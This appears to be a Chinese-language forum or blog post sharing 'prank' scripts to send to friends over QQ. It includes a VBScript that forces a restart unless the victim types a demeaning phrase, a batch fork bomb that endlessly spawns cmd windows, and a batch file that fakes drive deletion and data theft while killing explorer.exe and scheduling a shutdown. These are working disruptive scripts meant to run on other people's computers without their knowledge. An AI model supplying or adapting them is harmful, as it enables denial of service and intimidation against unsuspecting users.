珍藏版的整人代碼給大家發(fā)出來(lái)啦!
我們開(kāi)始制作.在桌面建立個(gè)記事本,然后把下面代碼復制進(jìn)去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.EⅩE /c shutdown -r -t 60 -c ""說(shuō)我是豬，不說(shuō)我是豬就一分鐘關(guān)你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說(shuō)我是豬,就不關(guān)機，快撒，說(shuō) ""我是豬"" ","說(shuō)不說(shuō)","不說(shuō)",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說(shuō)就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.EⅩE /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
復制之后呢,把后綴修改為.vbs或者改變打開(kāi)方式為應用程序，這樣你再壓縮下用QQ發(fā)給你朋友，對方打開(kāi)了就在60秒內要關(guān)閉計算機，
結素任務(wù)都不行，他只能說(shuō)他是豬才能解決問(wèn)題。夠壞吧？ 注意哦，你可以把我是豬那個(gè)修改成任意想說(shuō)的話(huà)，要是對付你喜歡的人，
就修改成 我愛(ài)你 這樣他只有說(shuō)我愛(ài)你之后才不關(guān)閉計算機哦 也可以把時(shí)間修改為20 就是說(shuō)打開(kāi)了20秒就關(guān)了,還沒(méi)等對方打完就關(guān)機了 是不是叫對方很郁悶呢?
第2招編寫(xiě)VBS腳本
首先你可以看下面的
WScript.Echo("嘿，謝謝你打開(kāi)我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛(ài)的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎么才來(lái)，說(shuō)~是不是不關(guān)心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("小強很生氣，后果很?chē)乐嘏丁?)
WScript.Echo("嘿嘿！你也會(huì )很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點(diǎn)上50下哦，不過(guò)會(huì )給你驚喜滴")
WScript.Echo("還剩49下，快點(diǎn)點(diǎn)哦")
WScript.Echo("還剩48下，快點(diǎn)，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點(diǎn)點(diǎn)！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停?。?！慢點(diǎn)，我有話(huà)要說(shuō)")
WScript.Echo("還剩12下，你繼續點(diǎn)我就會(huì )消失滴")
WScript.Echo("還剩11下，以后就看不到我拉。555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點(diǎn)啊，不要我拉？")
WScript.Echo("還剩8下，有點(diǎn)傷心拉，干嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點(diǎn)負意！")
WScript.Echo("還剩6下。對。你就點(diǎn)吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下?？墒俏艺娴暮芫鞈倌?。。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛(ài)你的！")
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無(wú)義?。?！")
WScript.Echo("我本因該消失的，不過(guò)我留戀你滴芳容，上帝又給了一次機會(huì )。")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
WScript.Echo("想結素我么?那你就再多點(diǎn)一次")
把這個(gè)復制在記事本,把后綴修改成.vbs
用記事本方式保存下列代碼，把后綴改成.bat
@echo off
echo 你中招了
:a
start cmd.EⅩE
start %0
goto a
用記事本方式保存下列代碼，把后綴改成.bat
@echo off
echo 你中招了
:a
start cmd.EⅩE
start %0
goto a
@ color 4f
@echo off
echo 刪除計算機的C盤(pán)的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
echo.
echo 刪除計算機的D盤(pán)的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
echo.
echo 刪除計算機的E盤(pán)的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
@ color
echo.
echo. =========================================
echo. 啊哈哈，都刪關(guān)，都殺關(guān)，哈哈 ……
echo. =========================================
echo. 系統將馬上崩潰......
echo. 這是一個(gè)木馬程序......所有資料已經(jīng)傳到
X@163.com shutdown /r /t 30 /c "電腦在30s內即將崩潰或爆炸，請撥打1589737****求助或直接爬下……"
ntsd -c q -pn explorer.EⅩE
ping 127.0.0.1 /n 20 >nul
start explorer.EⅩE
shutdown -a
復制以上代碼保存為bat文件。。。就寫(xiě)那么多。
